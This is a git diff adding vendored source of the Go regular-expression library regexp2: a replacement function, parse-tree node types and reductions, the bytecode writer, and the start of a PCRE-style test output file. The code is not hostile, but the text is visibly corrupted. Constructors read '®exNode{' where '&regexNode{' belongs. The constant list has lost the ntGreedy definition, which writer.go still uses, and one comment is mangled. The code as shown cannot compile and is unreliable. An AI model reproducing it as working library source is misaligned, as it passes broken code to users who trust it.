+func NewReplacerData(rep string, caps map[int]int, capsize int, capnames map[string]int, op RegexOptions) (*ReplacerData, error) { + p := parser{ + options: op, + caps: caps, + capsize: capsize, + capnames: capnames, + } + p.setPattern(rep) + concat, err := p.scanReplacement() + if err != nil { + return nil, err + } + + if concat.t != ntConcatenate { + panic(ErrReplacementError) + } + + sb := &bytes.Buffer{} + var ( + strings []string + rules []int + ) + + for _, child := range concat.children { + switch child.t { + case ntMulti: + child.writeStrToBuf(sb) + + case ntOne: + sb.WriteRune(child.ch) + + case ntRef: + if sb.Len() > 0 { + rules = append(rules, len(strings)) + strings = append(strings, sb.String()) + sb.Reset() + } + slot := child.m + + if len(caps) > 0 && slot >= 0 { + slot = caps[slot] + } + + rules = append(rules, -replaceSpecials-1-slot) + + default: + panic(ErrReplacementError) + } + } + + if sb.Len() > 0 { + rules = append(rules, len(strings)) + strings = append(strings, sb.String()) + } + + return &ReplacerData{ + Rep: rep, + Strings: strings, + Rules: rules, + }, nil +} diff --git a/backend/vendor/github.com/dlclark/regexp2/syntax/tree.go b/backend/vendor/github.com/dlclark/regexp2/syntax/tree.go new file mode 100644 index 0000000..ea28829 --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/syntax/tree.go @@ -0,0 +1,654 @@ +package syntax + +import ( + "bytes" + "fmt" + "math" + "strconv" +) + +type RegexTree struct { + root *regexNode + caps map[int]int + capnumlist []int + captop int + Capnames map[string]int + Caplist []string + options RegexOptions +} + +// It is built into a parsed tree for a regular expression. + +// Implementation notes: +// +// Since the node tree is a temporary data structure only used +// during compilation of the regexp to integer codes, it's +// designed for clarity and convenience rather than +// space efficiency. +// +// RegexNodes are built into a tree, linked by the n.children list. +// Each node also has a n.parent and n.ichild member indicating +// its parent and which child # it is in its parent's list. +// +// RegexNodes come in as many types as there are constructs in +// a regular expression, for example, "concatenate", "alternate", +// "one", "rept", "group". There are also node types for basic +// peephole optimizations, e.g., "onerep", "notsetrep", etc. +// +// Because perl 5 allows "lookback" groups that scan backwards, +// each node also gets a "direction". Normally the value of +// boolean n.backward = false. +// +// During parsing, top-level nodes are also stacked onto a parse +// stack (a stack of trees). For this purpose we have a n.next +// pointer. [Note that to save a few bytes, we could overload the +// n.parent pointer instead.] +// +// On the parse stack, each tree has a "role" - basically, the +// nonterminal in the grammar that the parser has currently +// assigned to the tree. That code is stored in n.role. +// +// Finally, some of the different kinds of nodes have data. +// Two integers (for the looping constructs) are stored in +// n.operands, an an object (either a string or a set) +// is stored in n.data +type regexNode struct { + t nodeType + children []*regexNode + str []rune + set *CharSet + ch rune + m int + n int + options RegexOptions + next *regexNode +} + +type nodeType int32 + +const ( + // The following are leaves, and correspond to primitive operations + + ntOnerep nodeType = 0 // lef,back char,min,max a {n} + ntNotonerep = 1 // lef,back char,min,max .{n} + ntSetrep = 2 // lef,back set,min,max [\d]{n} + ntOneloop = 3 // lef,back char,min,max a {,n} + ntNotoneloop = 4 // lef,back char,min,max .{,n} + ntSetloop = 5 // lef,back set,min,max [\d]{,n} + ntOnelazy = 6 // lef,back char,min,max a {,n}? + ntNotonelazy = 7 // lef,back char,min,max .{,n}? + ntSetlazy = 8 // lef,back set,min,max [\d]{,n}? + ntOne = 9 // lef char a + ntNotone = 10 // lef char [^a] + ntSet = 11 // lef set [a-z\s] \w \s \d + ntMulti = 12 // lef string abcd + ntRef = 13 // lef group \# + ntBol = 14 // ^ + ntEol = 15 // $ + ntBoundary = 16 // \b + ntNonboundary = 17 // \B + ntBeginning = 18 // \A + ntStart = 19 // \G + ntEndZ = 20 // \Z + ntEnd = 21 // \Z + + // Interior nodes do not correspond to primitive operations, but + // control structures compositing other operations + + // Concat and alternate take n children, and can run forward or backwards + + ntNothing = 22 // [] + ntEmpty = 23 // () + ntAlternate = 24 // a|b + ntConcatenate = 25 // ab + ntLoop = 26 // m,x * + ? {,} + ntLazyloop = 27 // m,x *? +? ?? {,}? + ntCapture = 28 // n () + ntGroup = 29 // (?:) + ntRequire = 30 // (?=) (?<=) + ntPrevent = 31 // (?!) (?) (?<) + ntTestref = 33 // (?(n) | ) + ntTestgroup = 34 // (?(...) | ) + + ntECMABoundary = 41 // \b + ntNonECMABoundary = 42 // \B +) + +func newRegexNode(t nodeType, opt RegexOptions) *regexNode { + return ®exNode{ + t: t, + options: opt, + } +} + +func newRegexNodeCh(t nodeType, opt RegexOptions, ch rune) *regexNode { + return ®exNode{ + t: t, + options: opt, + ch: ch, + } +} + +func newRegexNodeStr(t nodeType, opt RegexOptions, str []rune) *regexNode { + return ®exNode{ + t: t, + options: opt, + str: str, + } +} + +func newRegexNodeSet(t nodeType, opt RegexOptions, set *CharSet) *regexNode { + return ®exNode{ + t: t, + options: opt, + set: set, + } +} + +func newRegexNodeM(t nodeType, opt RegexOptions, m int) *regexNode { + return ®exNode{ + t: t, + options: opt, + m: m, + } +} +func newRegexNodeMN(t nodeType, opt RegexOptions, m, n int) *regexNode { + return ®exNode{ + t: t, + options: opt, + m: m, + n: n, + } +} + +func (n *regexNode) writeStrToBuf(buf *bytes.Buffer) { + for i := 0; i < len(n.str); i++ { + buf.WriteRune(n.str[i]) + } +} + +func (n *regexNode) addChild(child *regexNode) { + reduced := child.reduce() + n.children = append(n.children, reduced) + reduced.next = n +} + +func (n *regexNode) insertChildren(afterIndex int, nodes []*regexNode) { + newChildren := make([]*regexNode, 0, len(n.children)+len(nodes)) + n.children = append(append(append(newChildren, n.children[:afterIndex]...), nodes...), n.children[afterIndex:]...) +} + +// removes children including the start but not the end index +func (n *regexNode) removeChildren(startIndex, endIndex int) { + n.children = append(n.children[:startIndex], n.children[endIndex:]...) +} + +// Pass type as OneLazy or OneLoop +func (n *regexNode) makeRep(t nodeType, min, max int) { + n.t += (t - ntOne) + n.m = min + n.n = max +} + +func (n *regexNode) reduce() *regexNode { + switch n.t { + case ntAlternate: + return n.reduceAlternation() + + case ntConcatenate: + return n.reduceConcatenation() + + case ntLoop, ntLazyloop: + return n.reduceRep() + + case ntGroup: + return n.reduceGroup() + + case ntSet, ntSetloop: + return n.reduceSet() + + default: + return n + } +} + +// Basic optimization. Single-letter alternations can be replaced +// by faster set specifications, and nested alternations with no +// intervening operators can be flattened: +// +// a|b|c|def|g|h -> [a-c]|def|[gh] +// apple|(?:orange|pear)|grape -> apple|orange|pear|grape +func (n *regexNode) reduceAlternation() *regexNode { + if len(n.children) == 0 { + return newRegexNode(ntNothing, n.options) + } + + wasLastSet := false + lastNodeCannotMerge := false + var optionsLast RegexOptions + var i, j int + + for i, j = 0, 0; i < len(n.children); i, j = i+1, j+1 { + at := n.children[i] + + if j < i { + n.children[j] = at + } + + for { + if at.t == ntAlternate { + for k := 0; k < len(at.children); k++ { + at.children[k].next = n + } + n.insertChildren(i+1, at.children) + + j-- + } else if at.t == ntSet || at.t == ntOne { + // Cannot merge sets if L or I options differ, or if either are negated. + optionsAt := at.options & (RightToLeft | IgnoreCase) + + if at.t == ntSet { + if !wasLastSet || optionsLast != optionsAt || lastNodeCannotMerge || !at.set.IsMergeable() { + wasLastSet = true + lastNodeCannotMerge = !at.set.IsMergeable() + optionsLast = optionsAt + break + } + } else if !wasLastSet || optionsLast != optionsAt || lastNodeCannotMerge { + wasLastSet = true + lastNodeCannotMerge = false + optionsLast = optionsAt + break + } + + // The last node was a Set or a One, we're a Set or One and our options are the same. + // Merge the two nodes. + j-- + prev := n.children[j] + + var prevCharClass *CharSet + if prev.t == ntOne { + prevCharClass = &CharSet{} + prevCharClass.addChar(prev.ch) + } else { + prevCharClass = prev.set + } + + if at.t == ntOne { + prevCharClass.addChar(at.ch) + } else { + prevCharClass.addSet(*at.set) + } + + prev.t = ntSet + prev.set = prevCharClass + } else if at.t == ntNothing { + j-- + } else { + wasLastSet = false + lastNodeCannotMerge = false + } + break + } + } + + if j < i { + n.removeChildren(j, i) + } + + return n.stripEnation(ntNothing) +} + +// Basic optimization. Adjacent strings can be concatenated. +// +// (?:abc)(?:def) -> abcdef +func (n *regexNode) reduceConcatenation() *regexNode { + // Eliminate empties and concat adjacent strings/chars + + var optionsLast RegexOptions + var optionsAt RegexOptions + var i, j int + + if len(n.children) == 0 { + return newRegexNode(ntEmpty, n.options) + } + + wasLastString := false + + for i, j = 0, 0; i < len(n.children); i, j = i+1, j+1 { + var at, prev *regexNode + + at = n.children[i] + + if j < i { + n.children[j] = at + } + + if at.t == ntConcatenate && + ((at.options & RightToLeft) == (n.options & RightToLeft)) { + for k := 0; k < len(at.children); k++ { + at.children[k].next = n + } + + //insert at.children at i+1 index in n.children + n.insertChildren(i+1, at.children) + + j-- + } else if at.t == ntMulti || at.t == ntOne { + // Cannot merge strings if L or I options differ + optionsAt = at.options & (RightToLeft | IgnoreCase) + + if !wasLastString || optionsLast != optionsAt { + wasLastString = true + optionsLast = optionsAt + continue + } + + j-- + prev = n.children[j] + + if prev.t == ntOne { + prev.t = ntMulti + prev.str = []rune{prev.ch} + } + + if (optionsAt & RightToLeft) == 0 { + if at.t == ntOne { + prev.str = append(prev.str, at.ch) + } else { + prev.str = append(prev.str, at.str...) + } + } else { + if at.t == ntOne { + // insert at the front by expanding our slice, copying the data over, and then setting the value + prev.str = append(prev.str, 0) + copy(prev.str[1:], prev.str) + prev.str[0] = at.ch + } else { + //insert at the front...this one we'll make a new slice and copy both into it + merge := make([]rune, len(prev.str)+len(at.str)) + copy(merge, at.str) + copy(merge[len(at.str):], prev.str) + prev.str = merge + } + } + } else if at.t == ntEmpty { + j-- + } else { + wasLastString = false + } + } + + if j < i { + // remove indices j through i from the children + n.removeChildren(j, i) + } + + return n.stripEnation(ntEmpty) +} + +// Nested repeaters just get multiplied with each other if they're not +// too lumpy +func (n *regexNode) reduceRep() *regexNode { + + u := n + t := n.t + min := n.m + max := n.n + + for { + if len(u.children) == 0 { + break + } + + child := u.children[0] + + // multiply reps of the same type only + if child.t != t { + childType := child.t + + if !(childType >= ntOneloop && childType <= ntSetloop && t == ntLoop || + childType >= ntOnelazy && childType <= ntSetlazy && t == ntLazyloop) { + break + } + } + + // child can be too lumpy to blur, e.g., (a {100,105}) {3} or (a {2,})? + // [but things like (a {2,})+ are not too lumpy...] + if u.m == 0 && child.m > 1 || child.n < child.m*2 { + break + } + + u = child + if u.m > 0 { + if (math.MaxInt32-1)/u.m < min { + u.m = math.MaxInt32 + } else { + u.m = u.m * min + } + } + if u.n > 0 { + if (math.MaxInt32-1)/u.n < max { + u.n = math.MaxInt32 + } else { + u.n = u.n * max + } + } + } + + if math.MaxInt32 == min { + return newRegexNode(ntNothing, n.options) + } + return u + +} + +// Simple optimization. If a concatenation or alternation has only +// one child strip out the intermediate node. If it has zero children, +// turn it into an empty. +func (n *regexNode) stripEnation(emptyType nodeType) *regexNode { + switch len(n.children) { + case 0: + return newRegexNode(emptyType, n.options) + case 1: + return n.children[0] + default: + return n + } +} + +func (n *regexNode) reduceGroup() *regexNode { + u := n + + for u.t == ntGroup { + u = u.children[0] + } + + return u +} + +// Simple optimization. If a set is a singleton, an inverse singleton, +// or empty, it's transformed accordingly. +func (n *regexNode) reduceSet() *regexNode { + // Extract empty-set, one and not-one case as special + + if n.set == nil { + n.t = ntNothing + } else if n.set.IsSingleton() { + n.ch = n.set.SingletonChar() + n.set = nil + n.t += (ntOne - ntSet) + } else if n.set.IsSingletonInverse() { + n.ch = n.set.SingletonChar() + n.set = nil + n.t += (ntNotone - ntSet) + } + + return n +} + +func (n *regexNode) reverseLeft() *regexNode { + if n.options&RightToLeft != 0 && n.t == ntConcatenate && len(n.children) > 0 { + //reverse children order + for left, right := 0, len(n.children)-1; left < right; left, right = left+1, right-1 { + n.children[left], n.children[right] = n.children[right], n.children[left] + } + } + + return n +} + +func (n *regexNode) makeQuantifier(lazy bool, min, max int) *regexNode { + if min == 0 && max == 0 { + return newRegexNode(ntEmpty, n.options) + } + + if min == 1 && max == 1 { + return n + } + + switch n.t { + case ntOne, ntNotone, ntSet: + if lazy { + n.makeRep(Onelazy, min, max) + } else { + n.makeRep(Oneloop, min, max) + } + return n + + default: + var t nodeType + if lazy { + t = ntLazyloop + } else { + t = ntLoop + } + result := newRegexNodeMN(t, n.options, min, max) + result.addChild(n) + return result + } +} + +// debug functions + +var typeStr = []string{ + "Onerep", "Notonerep", "Setrep", + "Oneloop", "Notoneloop", "Setloop", + "Onelazy", "Notonelazy", "Setlazy", + "One", "Notone", "Set", + "Multi", "Ref", + "Bol", "Eol", "Boundary", "Nonboundary", + "Beginning", "Start", "EndZ", "End", + "Nothing", "Empty", + "Alternate", "Concatenate", + "Loop", "Lazyloop", + "Capture", "Group", "Require", "Prevent", "Greedy", + "Testref", "Testgroup", + "Unknown", "Unknown", "Unknown", + "Unknown", "Unknown", "Unknown", + "ECMABoundary", "NonECMABoundary", +} + +func (n *regexNode) description() string { + buf := &bytes.Buffer{} + + buf.WriteString(typeStr[n.t]) + + if (n.options & ExplicitCapture) != 0 { + buf.WriteString("-C") + } + if (n.options & IgnoreCase) != 0 { + buf.WriteString("-I") + } + if (n.options & RightToLeft) != 0 { + buf.WriteString("-L") + } + if (n.options & Multiline) != 0 { + buf.WriteString("-M") + } + if (n.options & Singleline) != 0 { + buf.WriteString("-S") + } + if (n.options & IgnorePatternWhitespace) != 0 { + buf.WriteString("-X") + } + if (n.options & ECMAScript) != 0 { + buf.WriteString("-E") + } + + switch n.t { + case ntOneloop, ntNotoneloop, ntOnelazy, ntNotonelazy, ntOne, ntNotone: + buf.WriteString("(Ch = " + CharDescription(n.ch) + ")") + break + case ntCapture: + buf.WriteString("(index = " + strconv.Itoa(n.m) + ", unindex = " + strconv.Itoa(n.n) + ")") + break + case ntRef, ntTestref: + buf.WriteString("(index = " + strconv.Itoa(n.m) + ")") + break + case ntMulti: + fmt.Fprintf(buf, "(String = %s)", string(n.str)) + break + case ntSet, ntSetloop, ntSetlazy: + buf.WriteString("(Set = " + n.set.String() + ")") + break + } + + switch n.t { + case ntOneloop, ntNotoneloop, ntOnelazy, ntNotonelazy, ntSetloop, ntSetlazy, ntLoop, ntLazyloop: + buf.WriteString("(Min = ") + buf.WriteString(strconv.Itoa(n.m)) + buf.WriteString(", Max = ") + if n.n == math.MaxInt32 { + buf.WriteString("inf") + } else { + buf.WriteString(strconv.Itoa(n.n)) + } + buf.WriteString(")") + + break + } + + return buf.String() +} + +var padSpace = []byte(" ") + +func (t *RegexTree) Dump() string { + return t.root.dump() +} + +func (n *regexNode) dump() string { + var stack []int + CurNode := n + CurChild := 0 + + buf := bytes.NewBufferString(CurNode.description()) + buf.WriteRune('\n') + + for { + if CurNode.children != nil && CurChild < len(CurNode.children) { + stack = append(stack, CurChild+1) + CurNode = CurNode.children[CurChild] + CurChild = 0 + + Depth := len(stack) + if Depth > 32 { + Depth = 32 + } + buf.Write(padSpace[:Depth]) + buf.WriteString(CurNode.description()) + buf.WriteRune('\n') + } else { + if len(stack) == 0 { + break + } + + CurChild = stack[len(stack)-1] + stack = stack[:len(stack)-1] + CurNode = CurNode.next + } + } + return buf.String() +} diff --git a/backend/vendor/github.com/dlclark/regexp2/syntax/writer.go b/backend/vendor/github.com/dlclark/regexp2/syntax/writer.go new file mode 100644 index 0000000..a5aa11c --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/syntax/writer.go @@ -0,0 +1,500 @@ +package syntax + +import ( + "bytes" + "fmt" + "math" + "os" +) + +func Write(tree *RegexTree) (*Code, error) { + w := writer{ + intStack: make([]int, 0, 32), + emitted: make([]int, 2), + stringhash: make(map[string]int), + sethash: make(map[string]int), + } + + code, err := w.codeFromTree(tree) + + if tree.options&Debug > 0 && code != nil { + os.Stdout.WriteString(code.Dump()) + os.Stdout.WriteString("\n") + } + + return code, err +} + +type writer struct { + emitted []int + + intStack []int + curpos int + stringhash map[string]int + stringtable [][]rune + sethash map[string]int + settable []*CharSet + counting bool + count int + trackcount int + caps map[int]int +} + +const ( + beforeChild nodeType = 64 + afterChild = 128 + //MaxPrefixSize is the largest number of runes we'll use for a BoyerMoyer prefix + MaxPrefixSize = 50 +) + +// The top level RegexCode generator. It does a depth-first walk +// through the tree and calls EmitFragment to emits code before +// and after each child of an interior node, and at each leaf. +// +// It runs two passes, first to count the size of the generated +// code, and second to generate the code. +// +// We should time it against the alternative, which is +// to just generate the code and grow the array as we go. +func (w *writer) codeFromTree(tree *RegexTree) (*Code, error) { + var ( + curNode *regexNode + curChild int + capsize int + ) + // construct sparse capnum mapping if some numbers are unused + + if tree.capnumlist == nil || tree.captop == len(tree.capnumlist) { + capsize = tree.captop + w.caps = nil + } else { + capsize = len(tree.capnumlist) + w.caps = tree.caps + for i := 0; i < len(tree.capnumlist); i++ { + w.caps[tree.capnumlist[i]] = i + } + } + + w.counting = true + + for { + if !w.counting { + w.emitted = make([]int, w.count) + } + + curNode = tree.root + curChild = 0 + + w.emit1(Lazybranch, 0) + + for { + if len(curNode.children) == 0 { + w.emitFragment(curNode.t, curNode, 0) + } else if curChild < len(curNode.children) { + w.emitFragment(curNode.t|beforeChild, curNode, curChild) + + curNode = curNode.children[curChild] + + w.pushInt(curChild) + curChild = 0 + continue + } + + if w.emptyStack() { + break + } + + curChild = w.popInt() + curNode = curNode.next + + w.emitFragment(curNode.t|afterChild, curNode, curChild) + curChild++ + } + + w.patchJump(0, w.curPos()) + w.emit(Stop) + + if !w.counting { + break + } + + w.counting = false + } + + fcPrefix := getFirstCharsPrefix(tree) + prefix := getPrefix(tree) + rtl := (tree.options & RightToLeft) != 0 + + var bmPrefix *BmPrefix + //TODO: benchmark string prefixes + if prefix != nil && len(prefix.PrefixStr) > 0 && MaxPrefixSize > 0 { + if len(prefix.PrefixStr) > MaxPrefixSize { + // limit prefix changes to 10k + prefix.PrefixStr = prefix.PrefixStr[:MaxPrefixSize] + } + bmPrefix = newBmPrefix(prefix.PrefixStr, prefix.CaseInsensitive, rtl) + } else { + bmPrefix = nil + } + + return &Code{ + Codes: w.emitted, + Strings: w.stringtable, + Sets: w.settable, + TrackCount: w.trackcount, + Caps: w.caps, + Capsize: capsize, + FcPrefix: fcPrefix, + BmPrefix: bmPrefix, + Anchors: getAnchors(tree), + RightToLeft: rtl, + }, nil +} + +// The main RegexCode generator. It does a depth-first walk +// through the tree and calls EmitFragment to emits code before +// and after each child of an interior node, and at each leaf. +func (w *writer) emitFragment(nodetype nodeType, node *regexNode, curIndex int) error { + bits := InstOp(0) + + if nodetype <= ntRef { + if (node.options & RightToLeft) != 0 { + bits |= Rtl + } + if (node.options & IgnoreCase) != 0 { + bits |= Ci + } + } + ntBits := nodeType(bits) + + switch nodetype { + case ntConcatenate | beforeChild, ntConcatenate | afterChild, ntEmpty: + break + + case ntAlternate | beforeChild: + if curIndex < len(node.children)-1 { + w.pushInt(w.curPos()) + w.emit1(Lazybranch, 0) + } + + case ntAlternate | afterChild: + if curIndex < len(node.children)-1 { + lbPos := w.popInt() + w.pushInt(w.curPos()) + w.emit1(Goto, 0) + w.patchJump(lbPos, w.curPos()) + } else { + for i := 0; i < curIndex; i++ { + w.patchJump(w.popInt(), w.curPos()) + } + } + break + + case ntTestref | beforeChild: + if curIndex == 0 { + w.emit(Setjump) + w.pushInt(w.curPos()) + w.emit1(Lazybranch, 0) + w.emit1(Testref, w.mapCapnum(node.m)) + w.emit(Forejump) + } + + case ntTestref | afterChild: + if curIndex == 0 { + branchpos := w.popInt() + w.pushInt(w.curPos()) + w.emit1(Goto, 0) + w.patchJump(branchpos, w.curPos()) + w.emit(Forejump) + if len(node.children) <= 1 { + w.patchJump(w.popInt(), w.curPos()) + } + } else if curIndex == 1 { + w.patchJump(w.popInt(), w.curPos()) + } + + case ntTestgroup | beforeChild: + if curIndex == 0 { + w.emit(Setjump) + w.emit(Setmark) + w.pushInt(w.curPos()) + w.emit1(Lazybranch, 0) + } + + case ntTestgroup | afterChild: + if curIndex == 0 { + w.emit(Getmark) + w.emit(Forejump) + } else if curIndex == 1 { + Branchpos := w.popInt() + w.pushInt(w.curPos()) + w.emit1(Goto, 0) + w.patchJump(Branchpos, w.curPos()) + w.emit(Getmark) + w.emit(Forejump) + if len(node.children) <= 2 { + w.patchJump(w.popInt(), w.curPos()) + } + } else if curIndex == 2 { + w.patchJump(w.popInt(), w.curPos()) + } + + case ntLoop | beforeChild, ntLazyloop | beforeChild: + + if node.n < math.MaxInt32 || node.m > 1 { + if node.m == 0 { + w.emit1(Nullcount, 0) + } else { + w.emit1(Setcount, 1-node.m) + } + } else if node.m == 0 { + w.emit(Nullmark) + } else { + w.emit(Setmark) + } + + if node.m == 0 { + w.pushInt(w.curPos()) + w.emit1(Goto, 0) + } + w.pushInt(w.curPos()) + + case ntLoop | afterChild, ntLazyloop | afterChild: + + startJumpPos := w.curPos() + lazy := (nodetype - (ntLoop | afterChild)) + + if node.n < math.MaxInt32 || node.m > 1 { + if node.n == math.MaxInt32 { + w.emit2(InstOp(Branchcount+lazy), w.popInt(), math.MaxInt32) + } else { + w.emit2(InstOp(Branchcount+lazy), w.popInt(), node.n-node.m) + } + } else { + w.emit1(InstOp(Branchmark+lazy), w.popInt()) + } + + if node.m == 0 { + w.patchJump(w.popInt(), startJumpPos) + } + + case ntGroup | beforeChild, ntGroup | afterChild: + + case ntCapture | beforeChild: + w.emit(Setmark) + + case ntCapture | afterChild: + w.emit2(Capturemark, w.mapCapnum(node.m), w.mapCapnum(node.n)) + + case ntRequire | beforeChild: + // NOTE: the following line causes lookahead/lookbehind to be + // NON-BACKTRACKING. It can be commented out with (*) + w.emit(Setjump) + + w.emit(Setmark) + + case ntRequire | afterChild: + w.emit(Getmark) + + // NOTE: the following line causes lookahead/lookbehind to be + // NON-BACKTRACKING. It can be commented out with (*) + w.emit(Forejump) + + case ntPrevent | beforeChild: + w.emit(Setjump) + w.pushInt(w.curPos()) + w.emit1(Lazybranch, 0) + + case ntPrevent | afterChild: + w.emit(Backjump) + w.patchJump(w.popInt(), w.curPos()) + w.emit(Forejump) + + case ntGreedy | beforeChild: + w.emit(Setjump) + + case ntGreedy | afterChild: + w.emit(Forejump) + + case ntOne, ntNotone: + w.emit1(InstOp(node.t|ntBits), int(node.ch)) + + case ntNotoneloop, ntNotonelazy, ntOneloop, ntOnelazy: + if node.m > 0 { + if node.t == ntOneloop || node.t == ntOnelazy { + w.emit2(Onerep|bits, int(node.ch), node.m) + } else { + w.emit2(Notonerep|bits, int(node.ch), node.m) + } + } + if node.n > node.m { + if node.n == math.MaxInt32 { + w.emit2(InstOp(node.t|ntBits), int(node.ch), math.MaxInt32) + } else { + w.emit2(InstOp(node.t|ntBits), int(node.ch), node.n-node.m) + } + } + + case ntSetloop, ntSetlazy: + if node.m > 0 { + w.emit2(Setrep|bits, w.setCode(node.set), node.m) + } + if node.n > node.m { + if node.n == math.MaxInt32 { + w.emit2(InstOp(node.t|ntBits), w.setCode(node.set), math.MaxInt32) + } else { + w.emit2(InstOp(node.t|ntBits), w.setCode(node.set), node.n-node.m) + } + } + + case ntMulti: + w.emit1(InstOp(node.t|ntBits), w.stringCode(node.str)) + + case ntSet: + w.emit1(InstOp(node.t|ntBits), w.setCode(node.set)) + + case ntRef: + w.emit1(InstOp(node.t|ntBits), w.mapCapnum(node.m)) + + case ntNothing, ntBol, ntEol, ntBoundary, ntNonboundary, ntECMABoundary, ntNonECMABoundary, ntBeginning, ntStart, ntEndZ, ntEnd: + w.emit(InstOp(node.t)) + + default: + return fmt.Errorf("unexpected opcode in regular expression generation: %v", nodetype) + } + + return nil +} + +// To avoid recursion, we use a simple integer stack. +// This is the push. +func (w *writer) pushInt(i int) { + w.intStack = append(w.intStack, i) +} + +// Returns true if the stack is empty. +func (w *writer) emptyStack() bool { + return len(w.intStack) == 0 +} + +// This is the pop. +func (w *writer) popInt() int { + //get our item + idx := len(w.intStack) - 1 + i := w.intStack[idx] + //trim our slice + w.intStack = w.intStack[:idx] + return i +} + +// Returns the current position in the emitted code. +func (w *writer) curPos() int { + return w.curpos +} + +// Fixes up a jump instruction at the specified offset +// so that it jumps to the specified jumpDest. +func (w *writer) patchJump(offset, jumpDest int) { + w.emitted[offset+1] = jumpDest +} + +// Returns an index in the set table for a charset +// uses a map to eliminate duplicates. +func (w *writer) setCode(set *CharSet) int { + if w.counting { + return 0 + } + + buf := &bytes.Buffer{} + + set.mapHashFill(buf) + hash := buf.String() + i, ok := w.sethash[hash] + if !ok { + i = len(w.sethash) + w.sethash[hash] = i + w.settable = append(w.settable, set) + } + return i +} + +// Returns an index in the string table for a string. +// uses a map to eliminate duplicates. +func (w *writer) stringCode(str []rune) int { + if w.counting { + return 0 + } + + hash := string(str) + i, ok := w.stringhash[hash] + if !ok { + i = len(w.stringhash) + w.stringhash[hash] = i + w.stringtable = append(w.stringtable, str) + } + + return i +} + +// When generating code on a regex that uses a sparse set +// of capture slots, we hash them to a dense set of indices +// for an array of capture slots. Instead of doing the hash +// at match time, it's done at compile time, here. +func (w *writer) mapCapnum(capnum int) int { + if capnum == -1 { + return -1 + } + + if w.caps != nil { + return w.caps[capnum] + } + + return capnum +} + +// Emits a zero-argument operation. Note that the emit +// functions all run in two modes: they can emit code, or +// they can just count the size of the code. +func (w *writer) emit(op InstOp) { + if w.counting { + w.count++ + if opcodeBacktracks(op) { + w.trackcount++ + } + return + } + w.emitted[w.curpos] = int(op) + w.curpos++ +} + +// Emits a one-argument operation. +func (w *writer) emit1(op InstOp, opd1 int) { + if w.counting { + w.count += 2 + if opcodeBacktracks(op) { + w.trackcount++ + } + return + } + w.emitted[w.curpos] = int(op) + w.curpos++ + w.emitted[w.curpos] = opd1 + w.curpos++ +} + +// Emits a two-argument operation. +func (w *writer) emit2(op InstOp, opd1, opd2 int) { + if w.counting { + w.count += 3 + if opcodeBacktracks(op) { + w.trackcount++ + } + return + } + w.emitted[w.curpos] = int(op) + w.curpos++ + w.emitted[w.curpos] = opd1 + w.curpos++ + w.emitted[w.curpos] = opd2 + w.curpos++ +} diff --git a/backend/vendor/github.com/dlclark/regexp2/testoutput1 b/backend/vendor/github.com/dlclark/regexp2/testoutput1 new file mode 100644 index 0000000..fbf63fd --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/testoutput1 @@ -0,0 +1,7061 @@ +# This set of tests is for features that are compatible with all versions of +# Perl >= 5.10, in non-UTF mode. It should run clean for the 8-bit, 16-bit, and +# 32-bit PCRE libraries, and also using the perltest.pl script. + +#forbid_utf +#newline_default lf any anycrlf +#perltest + +/the quick brown fox/ + the quick brown fox + 0: the quick brown fox + What do you know about the quick brown fox? + 0: the quick brown fox +\= Expect no match + The quick brown FOX +No match + What do you know about THE QUICK BROWN FOX? +No match + +/The quick brown fox/i + the quick brown fox + 0: the quick brown fox + The quick brown FOX + 0: The quick brown FOX + What do you know about the quick brown fox? + 0: the quick brown fox + What do you know about THE QUICK BROWN FOX? + 0: THE QUICK BROWN FOX + +/abcd\t\n\r\f\a\e\071\x3b\$\\\?caxyz/ + abcd\t\n\r\f\a\e9;\$\\?caxyz + 0: abcd\x09\x0a\x0d\x0c\x07\x1b9;$\?caxyz + +/a*abc?xyz+pqr{3}ab{2,}xy{4,5}pq{0,6}AB{0,}zz/ + abxyzpqrrrabbxyyyypqAzz + 0: abxyzpqrrrabbxyyyypqAzz + abxyzpqrrrabbxyyyypqAzz + 0: abxyzpqrrrabbxyyyypqAzz + aabxyzpqrrrabbxyyyypqAzz + 0: aabxyzpqrrrabbxyyyypqAzz + aaabxyzpqrrrabbxyyyypqAzz + 0: aaabxyzpqrrrabbxyyyypqAzz + aaaabxyzpqrrrabbxyyyypqAzz + 0: aaaabxyzpqrrrabbxyyyypqAzz + abcxyzpqrrrabbxyyyypqAzz + 0: abcxyzpqrrrabbxyyyypqAzz + aabcxyzpqrrrabbxyyyypqAzz + 0: aabcxyzpqrrrabbxyyyypqAzz + aaabcxyzpqrrrabbxyyyypAzz + 0: aaabcxyzpqrrrabbxyyyypAzz + aaabcxyzpqrrrabbxyyyypqAzz + 0: aaabcxyzpqrrrabbxyyyypqAzz + aaabcxyzpqrrrabbxyyyypqqAzz + 0: aaabcxyzpqrrrabbxyyyypqqAzz + aaabcxyzpqrrrabbxyyyypqqqAzz + 0: aaabcxyzpqrrrabbxyyyypqqqAzz + aaabcxyzpqrrrabbxyyyypqqqqAzz + 0: aaabcxyzpqrrrabbxyyyypqqqqAzz + aaabcxyzpqrrrabbxyyyypqqqqqAzz + 0: aaabcxyzpqrrrabbxyyyypqqqqqAzz + aaabcxyzpqrrrabbxyyyypqqqqqqAzz + 0: aaabcxyzpqrrrabbxyyyypqqqqqqAzz + aaaabcxyzpqrrrabbxyyyypqAzz + 0: aaaabcxyzpqrrrabbxyyyypqAzz + abxyzzpqrrrabbxyyyypqAzz + 0: abxyzzpqrrrabbxyyyypqAzz + aabxyzzzpqrrrabbxyyyypqAzz + 0: aabxyzzzpqrrrabbxyyyypqAzz + aaabxyzzzzpqrrrabbxyyyypqAzz + 0: aaabxyzzzzpqrrrabbxyyyypqAzz + aaaabxyzzzzpqrrrabbxyyyypqAzz + 0: aaaabxyzzzzpqrrrabbxyyyypqAzz + abcxyzzpqrrrabbxyyyypqAzz + 0: abcxyzzpqrrrabbxyyyypqAzz + aabcxyzzzpqrrrabbxyyyypqAzz + 0: aabcxyzzzpqrrrabbxyyyypqAzz + aaabcxyzzzzpqrrrabbxyyyypqAzz + 0: aaabcxyzzzzpqrrrabbxyyyypqAzz + aaaabcxyzzzzpqrrrabbxyyyypqAzz + 0: aaaabcxyzzzzpqrrrabbxyyyypqAzz + aaaabcxyzzzzpqrrrabbbxyyyypqAzz + 0: aaaabcxyzzzzpqrrrabbbxyyyypqAzz + aaaabcxyzzzzpqrrrabbbxyyyyypqAzz + 0: 